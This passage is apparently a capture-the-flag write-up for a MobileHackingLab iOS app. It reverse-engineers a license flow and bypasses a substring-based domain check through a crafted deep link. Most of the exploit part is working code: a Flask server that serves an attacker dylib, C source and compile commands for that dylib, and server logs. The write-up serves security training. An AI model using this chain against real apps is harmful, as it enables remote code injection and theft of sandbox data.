format, for example XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX. If the condition is sastified, it will invoke (*(void (__fastcall **)(__int64, __int64, __int64, __int64))((*v98 & swift_isaMask) + 0x90LL))(v99, v100, v44, v48_token_value)
, spoil alert again this is SubscribeController.getLicenseFile(server:withToken:)(Swift::String server, Swift::String withToken)
.
If you try curl
to this API, again you will not get the expect JSON response:
1
2
3
4
5
6
7
8
bash-3.2$ curl -X POST mhl.pages.dev/runtime/activate
<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>cloudflare</center>
</body>
</html>
Let continue to dig SubscribeController.getLicenseFile(server:withToken:)(Swift::String server, Swift::String withToken)
, hopefully it will be the end of the road
SubscribeController.getLicenseFile(server:withToken:)(Swift::String server, Swift::String withToken) - 3rd API request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Swift::Void __swiftcall SubscribeController.getLicenseFile(server:withToken:)(
Swift::String server,
Swift::String withToken)
{
...
v64 = server;
v57 = withToken;
v49 = type metadata accessor for URLRequest();
v24 = DefaultStringInterpolation.init(literalCapacity:interpolationCount:)(v62, 1LL);
v26_http_string_constant = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("http://", 7uLL, 1);
DefaultStringInterpolation.appendLiteral(_:)(v26_http_string_constant);
v27_download_path_string_constant = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)(
"/download",
9uLL,
v72 & 1);
DefaultStringInterpolation.appendLiteral(_:)(v27_download_path_string_constant);
v28 = String.init(stringInterpolation:)(v68, v67);
URL.init(string:)(v28);
v40 = default argument 1 of URLRequest.init(url:cachePolicy:timeoutInterval:)(v30);
URLRequest.init(url:cachePolicy:timeoutInterval:)(v59, v40);
v31_GET_string_constant = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("GET", 3uLL, 1);
URLRequest.httpMethod.setter(v31_GET_string_constant._countAndFlagsBits, v31_GET_string_constant._object);
v32_X_API_Key_string_constant = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)(
"X-API-Key",
9uLL,
v41 & 1);
URLRequest.addValue(_:forHTTPHeaderField:)(v57, v32_X_API_Key_string_constant);
v44 = URLRequest._bridgeToObjectiveC()().super.isa;
v80 = partial apply for closure #1 in SubscribeController.getLicenseFile(server:withToken:);
aBlock = _NSConcreteStackBlock;
v78 = thunk for @escaping @callee_guaranteed @Sendable (@guaranteed Data?, @guaranteed NSURLResponse?, @guaranteed Error?) -> ();
v79 = &block_descriptor_12;
v43 = _Block_copy(&aBlock);
v46 = objc_retainAutoreleasedReturnValue(objc_msgSend(v45, "dataTaskWithRequest:completionHandler:", v44, v43));
objc_msgSend(v46, "resume");
(*(void (__fastcall **)(char *, __int64))(v70 + 8))(v61, v73);
...
}
With almost identical logic, it makes another GET
request to http://mhl.pages.dev/runtime/download
with an extra request header X-API-Key
contains the UUID
received in 2nd API response. Not much interesting here, let jump to the response handling logic in closure #1 in SubscribeController.getLicenseFile(server:withToken:)
closure #1 in SubscribeController.getLicenseFile(server:withToken:)
This is the most complicated implementation in this app (length 0x1A38) with a plenty of validations. We will just cover happy flow for the sake of simplicity
First it checks the response header and expect Content-Type
is application/octet-stream
:
1
2
3
4
5
6
7
8
v248_allHeaderFields = objc_retainAutoreleasedReturnValue(objc_msgSend(v254, "allHeaderFields"));
v321_ContentType_constant = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("Content-Type", 0xCuLL, 1);
v37_application_octet_stream_constant = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)(
"application/octet-stream",
0x18uLL,
1);
...
v234_is_Content_Type_equal_application_octet_stream = static String.== infix(_:_:)(v229, v232, v230);
Then it checks status code is success and then get the sandbox location folder to store the license file:
1
2
3
4
5
6
7
8
9
10
11
12
13
v339 = v286_response_body_data;
v215_defaultManager_obj = objc_retainAutoreleasedReturnValue(objc_msgSend((id)objc_opt_self(&OBJC_CLASS___NSFileManager), "defaultManager"));
v216_urlsForDirectory_array = objc_retainAutoreleasedReturnValue(objc_msgSend(v215_defaultManager_obj, "URLsForDirectory:inDomains:", 9LL, 1LL));
objc_release(v215_defaultManager_obj);
v217_urlsForDirectory_array = static Array._unconditionallyBridgeFromObjectiveC(_:)(
v216_urlsForDirectory_array,
v287);
swift_bridgeObjectRetain(v217_urlsForDirectory_array);
p_v318_urlsForDirectory_array = &v318_urlsForDirectory_array;
v318_urlsForDirectory_array = v217_urlsForDirectory_array;
v218 = __swift_instantiateConcreteTypeFromMangledName(&demangling cache variable for type metadata for [URL]);
v46 = lazy protocol witness table accessor for type [URL] and conformance [A]();
Collection.first.getter(v218, v46);
ADRP X8, #selRef_URLsForDirectory_inDomains_@PAGE
LDR X1, [X8,#selRef_URLsForDirectory_inDomains_@PAGEOFF] ; SEL
MOV W8, #9 ; NSDocumentDirectory (Documents)
MOV X2, X8
MOV W8, #1
MOV X3, X8
BL _objc_msgSend ; Searching URLs for Documents folder in app sandbox
After that, it checks if license.dylib
file exists in Documents
folder, then remove the file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
v49 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("license.dylib", 0xDuLL, 1);
v205 = v49._object;
URL.appendingPathComponent(_:)(v49._countAndFlagsBits);
v209 = objc_retainAutoreleasedReturnValue(objc_msgSend((id)objc_opt_self(&OBJC_CLASS___NSFileManager), "defaultManager"));
URL.path.getter(v51);
v211_does_license_file_exist = (unsigned int)objc_msgSend(v209, "fileExistsAtPath:", v210);
objc_release(v210);
if ( (v211_does_license_file_exist & 1) != 0 )
goto LABEL_51;
...
LABEL_51:
...
v198 = (unsigned int)objc_msgSend(v209, "removeItemAtURL:error:", v197, &v308);
...
If file does not exist, it will write the file to Documents
folder and start loading the license.dylib
file using dlopen
1
2
3
4
5
6
7
LABEL_53:
v63 = v280;
v64 = default argument 1 of Data.write(to:options:)();
Data.write(to:options:)(v297, v64, v214, v213);
...
v181_dlopen_result_handle = dlopen((const char *)v303_licence_path, 2); // RTLD_NOW
...
If it’s able to open the lib successfully, it will find register_device
symbol using dsym
then invoke that method. If the method returns not nil value, it will show “Upgraded to Pro. Please wait for a decade before we add pro features” message.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
if ( v181_dlopen_result_handle )
{
v180 = v181_dlopen_result_handle;
v169_handle = v181_dlopen_result_handle;
v311 = v181_dlopen_result_handle;
v71_register_device_constant = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)(
"register_device",
0xFuLL,
1);
...
v159_register_device_method_address = (__int64 (*)(void))dlsym(
v169_handle,
(const char *)v301_register_device_constant);
v310_register_device_method_address = v159_register_device_method_address;
v333_register_device_method_address = v159_register_device_method_address;
if ( v159_register_device_method_address != 0LL )
{
v332 = v159_register_device_method_address;
v309 = v159_register_device_method_address;
if ( (v159_register_device_method_address() & 1) != 0 )
{
v154 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)(
"Upgraded to Pro. Please wait for a decade before we add pro features",
0x44uLL,
1);
showToast(message:duration:sender:)(v154, v73, v285);
}
else
{
v153 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)(
"Device registration failed.",
0x1BuLL,
1);
showToast(message:duration:sender:)(v153, v74, v285);
}
}
}
FINALLY this is the end of the road for static analysis that leads us from custom URL to achieve Pro version. We have a clear flow, mhl.pages.dev
does not response the expected data though. We need to find a way if we can hijack the server to fulfill the app needs.
domain mhl.pages.dev
validation flaw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Swift::Void __swiftcall SubscribeController.verifyLicense(server:key:)(Swift::String server, Swift::String key)
{
...
v30_mhl_pages_dev_string_constant = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)(
"mhl.pages.dev",
0xDuLL,
1);
v134 = &v154_mhl_pages_dev_string_constant;
v154_mhl_pages_dev_string_constant = v30_mhl_pages_dev_string_constant;
v133 = lazy protocol witness table accessor for type String and conformance String();
v135_server_contains_mhl_pages_dev_boolean = StringProtocol.contains<A>(_:)(v134, v132, v132, v133);
if ( (v135_server_contains_mhl_pages_dev_boolean & 1) != 0 )// if server contains "mhl.pages.dev"
{
...
}
else // server does not contain "mhl.pages.dev"
{
v68 = String.init(_builtinStringLiteral:utf8CodeUnitCount:isASCII:)("Invalid Server", 0xEuLL, 1);
showToast(message:duration:sender:)(v68, v67, v113);
}
If we look back the domain validation logic, this seems a legit check to verify it’s expected server. However, using StringProtocol.contains(_ other: String) -> Bool
to validate a server is not a recommended way, actually it is easy to bypass the validation, by replacing the expected domain with any names and append the expected one in the query string, mission completed! if we follow this, the new custom URL will look like this: runtime://starttrial?server=my.own.server/runtime?x=mhl.pages.dev&trialKey=1234-5678-ABCD
If we try to test above URL, we can see the message “Cannot connect to the host” rather than “Invalid server“, which means we bypassed the domain validation and succesfully hijacked our own server.
Dynamic Analysis
This step is highly relies on LLDB for attacking debugger and reveal Swift indirect method address to figure out the method names, and it’s done along the way with static analysis (where above spoil alerts given)
Exploit
Attack plan
Setup server
We will use our local server for demo purpose.
mock_server.py source code
We will write a simple python server with the help of Flask
library to handle requests.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# mock_server.py
from flask import Flask, jsonify, request, send_from_directory, abort
import os
app = Flask(__name__)
# Path to the directory where license.dylib is located
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
@app.route('/runtime', methods=['GET', 'POST'])
def runtime_with_query():
# Get the query parameter 'x'
x_value = request.args.get('x', default=None)
# Check if x_value is provided
if x_value:
# Check if "healthy" is in the x_value string
if "/health" in x_value: # GET
return jsonify({"status": "healthy"})
if "/activate" in x_value: # POST
return jsonify({"token": "E621E1F8-C36C-495A-93FC-0C247A3E6E5F"}) # a random UUID value
if "/download" in x_value: # GET
# Serve the license.dylib file with custom headers
response = send_from_directory(directory=BASE_DIR, path='license.dylib', as_attachment=True)
response.headers["Content-Type"] = "application/octet-stream"
return response
else:
return jsonify({"error": "Unhandled request!"}), 500
else:
return jsonify({"error": "Missing query parameter 'x'"}), 400
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5001)
Above local server supports 3 API endpoints that we need under /runtime
route, for ex. /runtime?x=mhl.pages.dev/health
Start server
1
2
3
4
5
6
7
8
$ python3 mock_server.py
* Serving Flask app 'mock_server'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:5001
* Running on http://192.168.10.66:5001
Press CTRL+C to quit
Now the server is ready to serve for request under the same network (wifi connection) for demo purpose
Prepare licence.dylib
Source code
1
2
3
4
5
6
7
// license.h
#ifndef LICENSE_H
#define LICENSE_H
bool register_device(void);
#endif // LICENSE_H
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// license.c
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <string.h>
#include <libgen.h> // for dirname()
// Declare the symbol to be exported
int register_device(void) {
// for demo purpose, we will write a file to the same location of license.dylib
Dl_info dl_info;
// Retrieve information about the currently loaded dynamic library
if (dladdr((void *)register_device, &dl_info) != 0) {
// Extract the directory path of the dynamic library
char *lib_path = strdup(dl_info.dli_fname);
char *dir_path = dirname(lib_path); // Get the directory part of the path
// Construct the full path to the file (in the same directory as the dylib)
char file_path[256];
snprintf(file_path, sizeof(file_path), "%s/exploit_proof.txt", dir_path);
// Open the file for writing
FILE *file = fopen(file_path, "w");
if (file != NULL) {
// Write "exploited" to the file
fprintf(file, "exploited\n");
fclose(file);
printf("File created and written to %s\n", file_path);
} else {
printf("Failed to create file at %s\n", file_path);
}
// Free the allocated memory
free(lib_path);
} else {
printf("Failed to retrieve dynamic library information\n");
}
return 1;
}
For PoC purpose, we write a simple file under same location as downloaded license.dylib
, this is not limited to steal secret data in sandbox folder or if device is jailbroken it can escapse sandbox and access other apps data and so on.
Compile license.dylib
We can use clang
to compile license.c
to license.dylib
as below:
1
$ clang -dynamiclib -o license.dylib license.c
or
1
clang -arch arm64 -isysroot $(xcrun --sdk iphoneos --show-sdk-path) -dynamiclib -o license.dylib license.c
New license.dylib
file will be generated then we need to copy this file to the same location with mock_server.py
Deploy the attack
Make sure the iOS device for testing connect to the same network as the server (same Wifi), copy this URL to the device web browser to launch the app: runtime://starttrial?server=192.168.10.66:5001/runtime?x=mhl.pages.dev&trialKey=1234-5678-ABCD
, we can see the app is launched and navigated to Pro Pack screen with a message “Upgraded to Pro. Please wait for a decade before we add pro features”, which confirms the hijack is successful!
From the server terminal, we can see there are 3 requests sent to the server.
1
2
3
192.168.10.175 - - [17/Sep/2024 21:19:49] "GET /runtime?x=mhl.pages.dev/health HTTP/1.1" 200 -
192.168.10.175 - - [17/Sep/2024 21:19:49] "POST /runtime?x=mhl.pages.dev/activate HTTP/1.1" 200 -
192.168.10.175 - - [17/Sep/2024 21:19:49] "GET /runtime?x=mhl.pages.dev/download HTTP/1.1" 200 -
We can further confirm by SSH into device and navigate to Runtime
app sandbox, there is license.dylib
file downloaded and exploit PoC file exploit_proof.txt
generated with the content “exploited” as expected. Figure: Exploited PoC
MobileHackingLab Feedback
I must say this new iOS lab is on another level compare to the others they provided, luckily I am the first blood for this lab 🤗 Figure: MobileHackingLab Feedback
Conclusion
“This challenge is a great opportunity to enhance your expertise in dynamic library injection, cross-compiling for iOS, and creating fake environments for security research. Dive into the challenge, explore the app’s protections, and advance your skills in iOS application security!” - MobileHackingLab
This lab requires both static and dynamic analysis to understand the flow and protections, it’s a bit tricky as mostly written in Swift and there are lack of XREFs to trace (intentionally I guess), hence needed to debug to understand the flow, dot the i’s and cross the t’s to make it work. 😎